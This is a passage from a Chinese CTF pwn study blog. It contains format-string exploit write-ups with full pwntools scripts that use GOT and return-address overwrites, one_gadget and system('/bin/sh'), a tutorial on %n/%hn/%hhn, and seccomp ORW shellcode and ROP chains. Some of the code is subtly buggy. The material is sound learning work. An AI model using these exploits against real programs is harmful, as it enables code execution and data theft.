payload = payload.ljust(0x28, b'\x00')
payload += p64(stack_addr - 8) # 写入到 stack_addr - 8 的位置

io.send(payload)

# 接收泄露的 libc 地址
io.recvuntil(b'0x')
leaked_libc = int(io.recv(12), 16)
libc_base = leaked_libc - 122 - libc.sym['__libc_start_main']
libc.address = libc_base
info(f"Libc base: {hex(libc_base)}")

# ================ 准备 one_gadget 并进行第二次格式化字符串写入 ================
one_gadgets = [0xE3AFE, 0xE3B01, 0xE3B04]
one_gadget = libc.address + one_gadgets[1]

# 构造格式化字符串写入 gadget 地址(分两次写入两个 16 位)
low = one_gadget & 0xFFFF
high = (one_gadget >> 16) & 0xFFFF

payload = f"%{low}c%10$hn".encode()
payload += f"%{(high - low) & 0xFFFF}c%11$hn".encode()
payload = payload.ljust(0x20, b'\x00')

# 栈上写入两个地址:分别写入 gadget 地址的低位和高位
payload += p64(stack_addr + 0x68) # 返回地址所在栈偏移
payload += p64(stack_addr + 0x68 + 2) # +2 写入高位部分

io.send(payload)

# ================ 获取 Flag ================
io.sendline(b'cat f*')
io.interactive()
1
2
3
4
payload = b"%4669c%11$hn"          #hex(4669) = 0x123d -->read地址的后两字节
payload += b"%19$p" #泄露libc_start_main+地址
payload = payload.ljust(0x28, b'\x00')
payload += p64(stack_addr - 8) #p64(stack_addr - 8)---->printf的返回地址

1

1

可以看到0x7fffffffdd08 = 0x7fffffffdd10 - 0x08从而定位printf_ret的地址。

然后我们可以看到libc_start_main+122的地址在栈上的位置;

0x7fffffffdd78 - 0x7fffffffdd10 = 104,104/8 = 13,此时我们用%19$p就可以泄露出libc_start_main+122的地址,再减去122就可以得到

libc_start_main地址,再用libc_start_main减去偏移就可以得到基地地址了。

然后再%4669c%11$hn进行两字节的写入。将printf_ret的地址改成read的地址。

用one_gdaget命令查execve(/bin/sh)的偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
linkpwn@linkpwn-VMware-Virtual-Platform:~$ one_gadget libc.so.6
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL || r15 is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL || r15 is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL || rsi is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
one_gadgets = [0xE3AFE, 0xE3B01, 0xE3B04]
one_gadget = libc.address + one_gadgets[1]

# 构造格式化字符串写入 gadget 地址(分两次写入两个 16 位)
low = one_gadget & 0xFFFF #低16位的两个字节
high = (one_gadget >> 16) & 0xFFFF #高16位的两个字节

payload = f"%{low}c%10$hn".encode() #把低16位的两个字节写入偏移为10的位置
payload += f"%{(high - low) & 0xFFFF}c%11$hn".encode() #把高16位的两个字节写入偏移为11的位置
payload = payload.ljust(0x20, b'\x00')

# 栈上写入两个地址:分别写入 gadget 地址的低位和高位
payload += p64(stack_addr + 0x68) # 返回地址所在栈偏移 偏移为10的位置
payload += p64(stack_addr + 0x68 + 2) # +2 写入高位部分 偏移为11的位置

注释:11是怎么算出来的

1
2
3
4
5
6
linkpwn@linkpwn-VMware-Virtual-Platform:~$ ./pwn
Welcome TGCTF!
your gift 0x7ffeec1ae9c0
please tell me your name
aaaa %p %p %p %p %p %p %p %p %p
aaaa 0x7ffeec1ae9c0 0x30 0x7c484851ba61 0x18 (nil) 0x2070252061616161 0x7025207025207025 0x2520702520702520 0xa70252070252070

偏移是6,0x28/8 = 5,5 + 6 =11;

level3

写完这题就来总结一下格式化字符串的原理。

1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[264]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 v5; // [rsp+108h] [rbp-8h]

v5 = __readfsqword(0x28u);
((void (__fastcall *)(int, const char **, const char **))init)(argc, argv, envp);
puts("-----");
read(0, buf, 0x110uLL);
printf(buf); //只有唯一的一个格式化字符串的漏洞,所以我们要构造一个循环
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
.text:000000000040121B ; __unwind {
.text:000000000040121B endbr64
.text:000000000040121F push rbp
.text:0000000000401220 mov rbp, rsp
.text:0000000000401223 sub rsp, 110h
.text:000000000040122A mov rax, fs:28h
.text:0000000000401233 mov [rbp+var_8], rax
.text:0000000000401237 xor eax, eax
.text:0000000000401239 mov eax, 0
.text:000000000040123E call init
.text:0000000000401243 lea rax, s ; "-----"
.text:000000000040124A mov rdi, rax ; s
.text:000000000040124D call _puts
.text:0000000000401252 lea rax, [rbp+buf]
.text:0000000000401259 mov edx, 110h ; nbytes
.text:000000000040125E mov rsi, rax ; buf
.text:0000000000401261 mov edi, 0 ; fd
.text:0000000000401266 call _read
.text:000000000040126B lea rax, [rbp+buf]
.text:0000000000401272 mov rdi, rax ; format
.text:0000000000401275 mov eax, 0
.text:000000000040127A call _printf
.text:000000000040127F mov eax, 0
.text:0000000000401284 mov rdx, [rbp+var_8]
.text:0000000000401288 sub rdx, fs:28h
.text:0000000000401291 jz short locret_401298
.text:0000000000401293 call ___stack_chk_fail

我们看到了call ___stack_chk_fail,这个是关键。

为什么会有这个呢? —–>因为开启了canary

1
2
3
4
5
6
7
8
9
Arch:       amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
Debuginfo: Yes

查看保护,开启了canary。

利用格式化字符串的任意位置的篡改,我们就可以将 ___stack_chk_fail篡改为main的地址,这样就会进入无限循环

我们先去找到main和___stack_chk_fail的got地址,在篡改的同时还可以利用printf_got泄露printf的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
main_addr = 0x40121b
stack_chk_fail_got = 0x0403320
printf_got = 0x403328
payload = b'%' + str(0x1b).encode + b'%c22%$hhn'
payload += b'%' + str(0x100 - 0x1b)+(0x12).encode + b'%c23%$hhn'
payload += b'%' + str(0x100 - 0x12)+(0x40).encode + b'%c24%$hhn'
payload += b'---b%25$s' #方便接收
payload = payload.ljust(0x80,b'a') #0x80/8 = 16 + 6(偏移见下图) = 22
payload += p64(stack_chk_fail_got) # %$hhn是单字节写入 stack_chk_fail_got是%c22%$hhn写入的地址
payload += p64(stack_chk_fail_got + 0x1) # stack_chk_fail_got + 0x1是%c23%$hhn写入的地址
payload += p64(stack_chk_fail_got + 0x2) # stack_chk_fail_got + 0x2是%c24%$hhn写入的地址
payload += p64(printf_got)
payload = payload.ljust(0x100,b'a')
1
2
3
4
-----
aaaa %p %p %p %p %p %p %p %p
aaaa 0x7ffcf57781d0 0x110 0x7a8a8171ba61 0x5 0x7a8a81904380 0x2070252061616161 0x7025207025207025 0x2520702520702520
#偏移为6

执行这个payload就进入无限循环了,并且泄漏量printf的地址。

根据print的地址,计算出libc的基地址。

此时我就要再次利用格式化字符串,将printf_got的地址改成system的地址,在发送/bin/sh就能获取shell。

1
2
3
4
5
6
io.recvuntil(b"---b")  
printf_addr = u64(io.recvn(6)+b'\x00'*2) #接收printf的地址
success(f"printf_addr ->{hex(printf_addr)}")
libc_base = printf_addr - libc.sym['printf'] #计算基地址
system = libc_base + libc.sym['system'] #算出system的地址
success(f"libc_base ->{hex(libc_base)}")
1
2
3
4
5
6
7
8
payload = b"%" + str(system & 0xff).encode() + b"c%22$hhn" #最低字节写入偏移为的位置
payload += b"%" + str((0x100 - (system & 0xff)) + ((system >> 8) & 0xff)).encode() + b"c%23$hhn" #同理去高一位的字节
payload += b"%" + str((0x100 - (((system >> 8) & 0xff))) + (((system >> 16) & 0xff))).encode() + b"c%24$hhn" #同理
payload = payload.ljust(0x80,b'a')
payload += p64(printf_got) #c%22$hhn写入的位置
payload += p64(printf_got + 0x1) #c%23$hhn写入的位置
payload += p64(printf_got + 0x2) #c%24$hhn写入的位置
payload = payload.ljust(0x110,b"a")
1
io.sendline(b'/bin/sh')

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *

context(log_level='debug', arch='amd64', os='linux')
io = process('./pwn')
#io = remote('ip', port) # 远程连接

elf = ELF('./pwn')
libc = ELF('libc.so.6')

main_addr = 0x40121b
stack_chk_fail_got = 0x0403320
printf_got = 0x403328
payload = b'%' + str(0x1b).encode + b'%c22%$hhn'
payload += b'%' + str(0x100 - 0x1b)+(0x12).encode + b'%c23%$hhn'
payload += b'%' + str(0x100 - 0x12)+(0x40).encode + b'%c24%$hhn'
payload += b'---b%25$s' #方便接收
payload = payload.ljust(0x80,b'a') #0x80/8 = 16 + 6(偏移见下图) = 22
payload += p64(stack_chk_fail_got) # %$hhn是单字节写入 stack_chk_fail_got是%c22%$hhn写入的地址
payload += p64(stack_chk_fail_got + 0x1) # stack_chk_fail_got + 0x1是%c23%$hhn写入的地址
payload += p64(stack_chk_fail_got + 0x2) # stack_chk_fail_got + 0x2是%c24%$hhn写入的地址
payload += p64(printf_got)
payload = payload.ljust(0x100,b'a')

io.recvuntil(b"---b")
printf_addr = u64(io.recvn(6)+b'\x00'*2) #接收printf的地址
success(f"printf_addr ->{hex(printf_addr)}")
libc_base = printf_addr - libc.sym['printf'] #计算基地址
system = libc_base + libc.sym['system'] #算出system的地址
success(f"libc_base ->{hex(libc_base)}")

payload = b"%" + str(system & 0xff).encode() + b"c%22$hhn" #最低字节写入偏移为的位置
payload += b"%" + str((0x100 - (system & 0xff)) + ((system >> 8) & 0xff)).encode() + b"c%23$hhn" #同理去高一位的字节
payload += b"%" + str((0x100 - (((system >> 8) & 0xff))) + (((system >> 16) & 0xff))).encode() + b"c%24$hhn" #同理
payload = payload.ljust(0x80,b'a')
payload += p64(printf_got) #c%22$hhn写入的位置
payload += p64(printf_got + 0x1) #c%23$hhn写入的位置
payload += p64(printf_got + 0x2) #c%24$hhn写入的位置
payload = payload.ljust(0x110,b"a")

io.sendline(b'/bin/sh')
io.interactive()

现在开始格式化字符串漏洞的知识点的总结。

什么是格式化字符串?

  • 在 C/C++ 等语言中,像 printf, sprintf, fprintf, syslog 等函数使用一个格式化字符串作为第一个参数。这个字符串包含普通文本和以 % 开头的格式化说明符。
  • 函数根据格式化说明符的指示,从后续的参数列表中读取相应数量和类型的参数,并将它们格式化后输出到目标(屏幕、字符串、文件等)。

漏洞成因:

  • 程序员错误: 当程序员允许用户输入直接作为格式化字符串传递给这些格式化输出函数时,漏洞就产生了。
  • 关键区别:
    • 正确用法: printf("%s", user_input); - 用户输入被当作一个普通的字符串参数传递给 %s。函数期望一个字符串地址作为第二个参数。
    • 漏洞用法: printf(user_input); - 用户输入本身被当作格式化字符串。如果用户输入中包含 % 开头的字符序列,函数会将其解释为格式化说明符。
  • 函数行为: 当遇到格式化说明符时,函数会假设在栈(或寄存器,取决于调用约定)上存在对应的参数。它就会按照格式化说明符的要求去读取内存中它“认为”是参数的位置。

漏洞危害:

  • 信息泄露 (Read):读取栈内存、函数返回地址、库函数地址、程序代码地址、Canary值、甚至任意地址的内容(如密码、密钥)。
  • 内存覆写 (Write):向栈内存、函数返回地址、全局偏移表 (GOT)、析构函数表 (DTORS)、任意地址写入数据,从而劫持程序控制流(执行任意代码)。
  • 程序崩溃: 读取或写入无效地址导致段错误。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
%s - 字符串读取 (Read)

功能: 期望一个指针(地址)作为参数。函数从该地址开始读取内存,直到遇到空字符 (\0),并将读取到的字节作为字符串输出。

漏洞利用 (信息泄露):

泄露栈内容: printf("%s"); - 函数会试图将当前栈上“它认为”是参数的位置(通常是格式化字符串指针后面的位置)解释为一个指针,并尝

试读取该指针指向的内存。如果这个位置恰好包含一个有效的(或可读的)地址,就能泄露该地址处的字符串。例如:

用户输入 "%s" -> 程序崩溃或泄露栈上某个地址处的数据。

用户输入 "AAAA%x%x%x%s" -> 先泄露几个栈值 (%x),然后用其中一个值作为指针 (%s) 去读内存。

泄露任意地址内容 (结合偏移):

构造 payload:<目标地址><格式化字符串>

利用 %k$s (其中 k 是偏移量) 指定将栈上第 k 个参数当作指针,用 %s 去读取。例如:

假设 <目标地址> 被放置在栈上第 8 个参数的位置。

Payload: "\x78\x56\x34\x12%8$s" (假设 0x12345678 是目标地址,小端序写入)。

printf 看到 %8$s,就会把栈上第 8 个位置的值 0x12345678 当作指针,读取该地址处的字符串并输出。

关键点: %s 是读取目标地址指向的内存内容(直到 \0),不是读取地址本身的值。地址本身通常需要用 %p 或 %x 泄露。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
%n - 写入已打印字符数 (Write)

功能: 期望一个 int *(指向整数的指针)作为参数。该功能是漏洞实现任意地址写的核心! 函数将到目前为止已成功输出的字符总数写入到
这个指针指向的内存位置。

漏洞利用 (内存覆写):

覆写栈变量/指针/返回地址: printf("AAAA%n"); - 函数试图将已打印的字符数 (4个 A,所以是4) 写入到栈上“它认为”是参数的位置(本
该是一个 int * 的地方)。如果该位置可写,值 4 就被写入了。这通常会导致崩溃或意外行为。

覆写任意地址 (结合偏移):

构造 payload:<目标地址><填充字符><%k$n> 或 <填充字符><%k$n><目标地址> (取决于目标地址在栈上的位置)。

利用 %k$n 指定将栈上第 k 个参数当作 int *,并将已打印字符数写入该地址。

例如,要写 0xdeadbeef (4字节) 到地址 0x0804a000:

需要先打印 0xdeadbeef (3, 737, 519, 343) 个字符?这几乎不可能,因为数字太大。

解决方案: 使用 %hn 或 %hhn 分多次写 2 字节或 1 字节。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
%hn - 写入已打印字符数 (短整型 - 2字节) (Write)

功能: 期望一个 short int *(指向短整型的指针)作为参数。将到目前为止已成功输出的字符总数(只取其低 16 位)写入到这个指针指向的内存位置(写入 2 个字节)。

为什么重要? 要写入的值(如地址、Shellcode 地址)通常很大(4字节或8字节)。一次性用 %n 写入一个巨大的数字(如 0x0804a000 =
134, 520, 832)需要构造极长的输出字符串,不现实且容易出错。%hn 允许我们分两次写入一个 4 字节值(高 16 位和低 16 位)或四次写
入一个 8 字节值。

漏洞利用 (精确内存覆写):

覆写任意地址的 2 字节 (Word):

构造 payload:<目标地址><填充字符><%k$hn>

%k$hn 将已打印字符数(模 65536)的低 16 位写入到第 k 个参数指向的地址(2字节)。

覆写任意地址的 4 字节 (Dword - 常用):

假设目标地址是 0x0804a000 (要写入的值 val = 0xdeadbeef)。

将地址拆分为高 16 位 (high = 0xdead) 和低 16 位 (low = 0xbeef)。

方法 1 (地址连续):

Payload: <addr_low><addr_high><填充使总字符数=low><%m$hn><填充使总字符数=high><%n$hn> (注意 low 和 high 可能小于之前打印
的字符数,需要用模运算调整)

其中 m 是 addr_low 在栈上的位置偏移,n 是 addr_high 在栈上的位置偏移(通常 n = m + 1 或 n = m + 2,取决于指针大小)。

第一个 %m$hn 将 low 写入 addr_low 指向的地址(即 0x0804a000)。

第二个 %n$hn 将 high 写入 addr_high 指向的地址(即 0x0804a000 + 2 = 0x0804a002)。

方法 2 (地址重叠 - 更紧凑):

Payload: <addr><填充使总字符数=low><%m$hn><填充使总字符数=high><%m$hn> (但这次 addr 指向 0x0804a000)

第一个 %m$hn 将 low (0xbeef) 写入 addr (0x0804a000)。

第二个 %m$hn 会再次写入 addr (0x0804a000)。但此时已打印字符数是 low + padding_for_high = 0xbeef + ... = high (假设填充计
算正确),所以将 high (0xdead) 写入 0x0804a000。覆盖了之前写入的低位!

错误! 需要写入 addr (0x0804a000) 和 addr+2 (0x0804a002)。方法 2 不正确。

正确方法 2 (两个不同地址):

Payload: <addr_high><addr_low><填充使总字符数=low><%p$hn><填充使总字符数=high_minus_low><%q$hn>

其中 p 是 addr_low 的偏移,q 是 addr_high 的偏移。

第一个 %p$hn 写 low 到 addr_low。

第二个 %q$hn 写 high 到 addr_high。注意 high_minus_low 可能需要模 65536 计算,如果 high < low 需要加 65536。

关键点: 精确计算需要打印的字符数(通过添加特定数量的填充字符,如 %1234d)来控制写入的值。写入顺序(先低后高或先高后低)取决于
目标地址的布局和值的大小关系(避免 high < low 时需要额外处理)。
1
2
3
4
5
6
7
8
9
10
11
%hhn - 写入已打印字符数 (字符 - 1字节) (Write)

功能: 期望一个 char *(指向字符的指针)作为参数。将到目前为止已成功输出的字符总数(只取其最低 8 位)写入到这个指针指向的内存位置(写入 1 个字节)。

为什么重要? 提供最精细的控制粒度。可以分 4 次写入一个 4 字节值或 8 次写入一个 8 字节值。对于写入小值或需要非常精确控制内存内

容的场景很有用。构造 payload 可能更长(需要更多次写入),但计算相对简单(模 256)。

漏洞利用 (极其精确的内存覆写): 原理与 %hn 类似,但分成 4 个字节 (4字节地址) 或 8 个字节 (64位地址)。Payload 包含目标地址的

4/8 个部分(每个部分 1 字节)和对应的 %k$hhn 及填充。计算每个阶段需要打印的字符数(模 256)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
%p, %x, %d - 泄露数据 (Read)

%p: 以指针格式(通常是十六进制带 0x 前缀)输出参数(一个地址)。

%x/%X: 以十六进制格式(无前缀)输出参数(一个无符号整数)。常用于泄露栈上的数据(可能包含指针或 Canary)。

%d/%u: 以十进制格式输出参数(有符号/无符号整数)。也能泄露栈数据。

漏洞利用 (信息泄露 - 栈勘查):

printf("%p %p %p %p %p"); - 连续泄露栈上多个位置的值(通常是格式化字符串指针之后的栈内容)。这是最开始的“探针”,用于:

定位用户输入的格式化字符串本身在栈上的位置(找偏移量 k)。

寻找栈上的返回地址、库函数地址、Canary 值等。

printf("%100$p"); - 直接泄露栈上第 100 个“参数”位置的值(如果存在)。

结合 %s 泄露任意地址内容(如前所述)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
%k$ - 直接参数访问 (关键!)

功能: 这不是一个独立的说明符,而是修饰符。加在 % 和格式字符(如 s, n, x, p)之间,例如 %8$p, %3$s, %5$n, %10$hn。

含义: 显式指定使用格式化字符串后面的第 k 个参数(而不是按顺序使用下一个参数)。

为什么是漏洞利用的核心?

精准定位: 在格式化字符串漏洞中,攻击者可以精心构造输入字符串(包含目标地址和格式化说明符),并利用 %k$ 精确地告诉 printf 去

哪里找它需要的指针参数(用于 %s, %n, %hn, %hhn)。这使得攻击者能够读写任意指定的内存地址。

绕过不确定性: 栈的布局可能因环境而异。通过泄露栈内容(用 %p, %x),攻击者可以计算出目标地址需要放置在格式化字符串的哪个位置,进而确定正确的偏移量 k 用于 %k$。

示例:

假设通过泄露发现,用户输入的格式化字符串起始地址位于栈上第 7 个参数的位置。

攻击者 payload 开头写入 4 字节的目标地址 0x0804a000。

那么,这个目标地址就会出现在栈上第 7 个参数的位置(因为格式化字符串指针是第 1 个参数,payload 内容紧随其后)。

使用 %7$s 就可以尝试读取 0x0804a000 地址处的字符串。

使用 %7$n 就可以将已打印字符数写入 0x0804a000 地址处。

sandbox专题学习

刚刚学完栈迁移📚,发现 sandbox 🧱经常和栈迁移结合,于是就仔细学一下 sandbox 🤓!

💻 Sandbox绕过好像很多,也复杂 😤,这里只好记录一下ORW的学习 📝

orw

什么时候用orw

当程序开启沙箱保护,禁用一些系统调用,禁用execve等,使得我们不能通过使用system和execve来getshell。此时我们就要用到orw来解决这些问题。

orw是什么

orw就是open,read,write这三个函数的简写,打开flag,读取flag,写出flag通过这三步来得到flag。

sandbox的开启

第一种是利用prctl(),第二种是利用seccomp的库函数

(1) prctl():

在 Linux 系统编程中,prctl 函数结合 PR_SET_SECCOMPPR_SET_NO_NEW_PRIVS 标志可用于开启 seccomp(Secure Computing)沙箱,这是一种限制进程系统调用(syscall)的安全机制。

PR_SET_NO_NEW_PRIVS:

1
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0); #禁止进程及其子进程通过 execve 等获得新权限

PR_SET_SECCOMP:

严格模式SECCOMP_MODE_STRICT:仅允许 read, write, _exit, sigreturn 四个系统调用。

1
prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT);

过滤器模式(SECCOMP_MODE_FILTER):自定义允许/拒绝的系统调用列表(通过 BPF 规则)。

1
2
struct sock_fprog filter = { ... };  // 定义 BPF 过滤器
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &filter);

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct sock_filter filter[] = {
// 检查系统调用号是否在允许列表
BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, nr)),
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_openat, 0, 1), // 允许 openat
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_read, 0, 1), // 允许 read
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL), // 拒绝其他
};
struct sock_fprog prog = {
.len = sizeof(filter) / sizeof(filter[0]),
.filter = filter,
};
//SECCOMP_RET_ALLOW:允许系统调用。
//SECCOMP_RET_KILL:立即终止进程。

(2)seccomp的库函数:例如libseccomp 库

例子:仅允许进程执行 exit_groupreadwrite 系统调用:

1
2
3
4
5
6
#include <seccomp.h>
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); // 默认拒绝所有
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_load(ctx); // 加载到内核

了解完这些,就开始学习如何解决它了(orw)

seccomp-tools查看沙箱

seccomp-tools可以用来查看沙箱的情况

安装:

1
2
3
sudo apt install gcc ruby-dev
sudo gem install seccomp-tools
seccomp-tools dump ./elf #elf换成你自己的文件名

1

可以看到那些函数是可以用的。

open、read、write函数的了解

open()函数:

函数原型

1
2
3
4
5
#include <fcntl.h>
#include <unistd.h>

int open(const char *pathname, int flags);
int open(const char *pathname, int flags, mode_t mode);
  1. pathname

    • 文件路径名(字符串),例如:"flag""/tmp/test.txt"
  2. flags

    • 打开文件的方式,比如只读、只写、读写等。
    • 可以组合多个标志(使用按位或 | 操作符)。
    标志常量 十六进制值 含义
    O_RDONLY 0x0 只读方式打开文件
    O_WRONLY 0x1 只写方式打开文件
    O_RDWR 0x2 读写方式打开文件

    系统调用号:

    • sys_open 的系统调用号是 5(十进制),即 0x5
    关键点 内容
    函数名 open()
    功能 打开或创建文件
    返回值 文件描述符(成功)或 -1(失败)
    常用 flag O_RDONLY, O_WRONLY, O_RDWR, O_CREAT, O_TRUNC, O_APPEND
    mode 参数 用于指定新文件权限,如 0644
    系统调用号 5(Linux x86)
    寄存器传参 eax=5, ebx=filename, ecx=flags, edx=mode

read()函数:

函数原型:

1
2
3
#include <unistd.h>

ssize_t read(int fd, void *buf, size_t count);
参数名 类型 含义
fd int 文件描述符(由 open() 或其他方式获得)
buf void* 用户空间的缓冲区地址,用来保存读取的数据
count size_t 要读取的最大字节数

系统调用号:

  • sys_read 的系统调用号是 3(十进制),即 0x3
1
2
3
4
5
6
寄存器传参方式(Linux x86):
寄存器 对应参数
eax 系统调用号:3
ebx 文件描述符 fd
ecx 缓冲区地址 buf
edx 要读取的字节数 count

write()函数:

函数原型:

1
2
3
#include <unistd.h>

ssize_t write(int fd, const void *buf, size_t count);
参数名 类型 含义
fd int 文件描述符(由 open() 或其他方式获得)
buf const void* 用户空间的缓冲区地址,包含要写入的数据
count size_t 要写入的最大字节数

系统调用号:

  • sys_write 的系统调用号是 4(十进制),即 0x4

寄存器传参方式(Linux x86):

寄存器 对应参数
eax 系统调用号:4
ebx 文件描述符 fd
ecx 缓冲区地址 buf
edx 要写入的字节数 count

做完了铺垫,现在就开始orw

shellcode绕过

首先,看看最简单的orw,在没有开启NX的条件下,可以直接写入这三个函数执行。

2

第一种直接用汇编写

1
2
3
4
#0x67616c66根据文件名改动 0x67616c66转ASCII-->flag
shellcode=asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80')
shellcode+=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80')
shellcode+=asm('mov eax,0x4;mov ebx,0x1;int 0x80')

具体解释一下这个汇编代码,根据上面对open,read,write函数的了解,汇编也就很好理解了。

1
2
3
4
5
6
7
8
#fd = open("flag", O_RDONLY);
push 0x0 ; 将0压栈,表示以只读方式打开文件(O_RDONLY)
push 0x67616c66 ; 将"flag"字符串的ASCII值压栈(注意字节顺序是反的,实际上是'flag')
mov ebx, esp ; 将栈顶指针赋值给ebx,作为文件名指针
xor ecx, ecx ; 清空ecx寄存器(第二个参数,O_RDONLY)
xor edx, edx ; 清空edx寄存器(第三个参数,权限模式,这里不需要)
mov eax, 0x5 ; 调用sys_open (系统调用号5)
int 0x80 ; 触发中断,执行系统调用
1
2
3
4
5
mov eax, 0x3           ; 调用sys_read (系统调用号3)
mov ecx, ebx ; 文件描述符(由上一步返回值在ebx中)
xor ebx, ebx ; 清空ebx,作为文件描述符0(标准输入)
mov edx, 0x100 ; 读取长度为256字节
int 0x80 ; 触发中断,执行系统调用
1
2
3
mov eax, 0x4           ; 调用sys_write (系统调用号4)
xor ebx, ebx ; 清空ebx,作为文件描述符1(标准输出)
int 0x80 ; 触发中断,执行系统调用

还可以通过传参传入flag的位置

1
2
3
4
5
6
7
8
9
#fd = open('home/pwn/flag',0) 0x804a094根据具体情况而定
s = ''' xor edx,edx; mov ecx,0; mov ebx,0x804a094; mov eax,5; int 0x80; '''

#read(fd,0x804a094,0x20)
s += ''' mov edx,0x40; mov ecx,ebx; mov ebx,eax; mov eax,3; int 0x80; '''

#write(1,0x804a094,0x20)
s += ''' mov edx,0x40; mov ebx,1; mov eax,4 int 0x80; '''
payload = asm(s)+b'/home/pwn/flag\x00'

第二种直接利用pwntools

1
2
3
4
5
payload = shellcraft.open('flag')        # Open 'flag' (fd returned in EAX)
payload += shellcraft.read(3, 0x804a090, 0x100) # Read from opened FD
payload += shellcraft.write(1, 0x804a090, 0x100) # Write to stdout (FD 1)
p.sendline(asm(payload))
#不知道为什么没打通理论上是可以的

2

exp:

1
2
3
4
5
6
7
8
9
from pwn import *
io = process("./orw")
io.recvuntil(b'shellcode:')
shellcode=asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80')
shellcode+=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80')
shellcode+=asm('mov eax,0x4;mov ebx,0x1;int 0x80')
payload = shellcode
io.send(payload)
io.interactive()
ROP绕过

例题

1
2
3
4
5
6
7
8
9
10
int __fastcall main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
gift();
init_sandbox();
sandboxx();
return 0;
}
1
2
3
4
5
6
7
8
9
ssize_t sandboxx()
{
char buf[16]; // [rsp+0h] [rbp-10h] BYREF

puts("Welcome to the Sandbox Challenge");
puts("Maybe you need an open read wirte ");
printf("please input your name:");
return read(0, buf, 0x100uLL);
}
1
2
3
4
5
int gift()
{
puts("I will give you a nice little gift");
return printf("Leak: %p\n", &puts);
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=process("./sandbox")
elf=ELF("./sandbox")
libc=ELF("libc.so.6")
def bug():
gdb.attach(p)
pause()

bss=0x404020+0x800
sandboxx = 0x4013ED
p.recvuntil("0x")
libc_base=int(p.recv(12),16)-libc.sym['puts']
print(hex(libc_base))
rdi=libc_base+0x0000000000023b6a
rsi=libc_base+0x000000000002601f
rdx_r12=libc_base+0x0000000000119431
rsp = libc_base + 0x000000000002f70a
open_addr=libc_base+libc.sym['open']
read_addr=libc_base+libc.sym['read']
write_addr=libc_base+libc.sym['write']

payload2=b'a'*0x10+b'a'*0x8+p64(rdi)+p64(0)+p64(rsi)+p64(bss)+p64(rdx_r12)+p64(0x100)+p64(0)+p64(read_addr)+p64(rsp)+p64(bss + 8)

p.recvuntil(b"name:")
p.send(payload2)


payload =b'/flag\x00\x00\x00'
payload +=p64(rdi)
payload +=p64(bss)
payload +=p64(rsi)
payload +=p64(0)
payload +=p64(open_addr)

payload +=p64(rdi)
payload +=p64(3)
payload +=p64(rsi)
payload +=p64(bss+0x600)
payload +=p64(rdx_r12)
payload +=p64(0x100)*2
payload +=p64(read_addr)

payload +=p64(rdi)
payload +=p64(1)
payload +=p64(rsi)
payload +=p64(bss+0x600)
payload +=p64(rdx_r12)
payload +=p64(0x100)*2
payload +=p64(write_addr)
payload +=p64(sandboxx )


p.send(payload)
p.interactive()

江西省赛

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
